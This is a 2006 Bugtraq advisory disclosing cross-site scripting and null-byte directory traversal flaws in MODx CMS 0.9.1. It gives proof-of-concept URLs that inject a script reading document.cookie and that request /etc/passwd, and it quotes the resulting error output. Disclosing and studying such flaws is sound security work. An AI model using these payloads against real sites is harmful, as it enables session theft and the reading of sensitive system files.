Bugtraq mailing list archives

Vulnerabilities in MODx


From: crasher () kecoak or id
Date: Fri, 14 Apr 2006 13:53:11 +0700


 k  k         kkkk kk   kkkk  k  k  kkkkkk kkkkkk    kkkk   k    k   k   k  k
 k k         k   k  k  k   k  k k     kk   k     k  k    k  kk   k   k   k k
 kk   <><>   kkkkk  k  kkkkk  kk      kk   kkkkkk   k    k  k k  k   k   kk
 k k         k      k  k      k k     kk   k   k    k    k  k  k k   k   k k
 k  k         kkkk  kk  kkkk  k  k    kk   k    k    kkkk   k   kk   k   k  k

]=- Vulnerabilities in ModX

 Author   : Rusydi Hasan M
 a.k.a    : cR45H3R
 Date     : April,13th 2006
 Location : Indonesia, Cilacap


]=- Software description

 Version : 0.9.1
 URL     : http://modxcms.com


]=- the bugs

1. XSS || [C]ross [S]ite [S]cripting
2. Reverse Directory Transversal with NULL injection


]=- PoC

[1] XSS

 http://[victim]/[modx_dir]/index.php?id=[parameter][XSS_here]

 E[x]ample :

 http://127.0.0.1/modx/index.php?id=2%3Cscript%3Ealert(document.cookie)%3C/script%3E

[2] Reverse directory Transversal + NULL injection

 http://[victim]/[modx_dir]/index.php?id=[parameter][reverse_derectory]%00

 E[x]ample :

 http://127.0.0.1/modx/index.php?id=1/../../../../../../../etc/passwd%00

 PHP error debug
  Error:
 
fopen(/var/www/html/modx/assets/cache/docid_1/../../../../../../../etc/passwd\0.pageCache.php
  ): failed to open stream: Permission denied


]=- Vendor

 Not contact


]=- Shoutz

# fwerd,chiko,cbug,ladybug,litherr,cybertank,cyb3rh3b,cahcephoe,scut,degleng,etc
# y3dips, moby, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32, anonymous, the
day
# ph03n1x,ghoz,spyoff,slackX,r34d3r,xnuxer,sakitjiwa,m_beben


]=- Contact

 crasher () kecoak or id || http://kecoak.or.id



Current thread: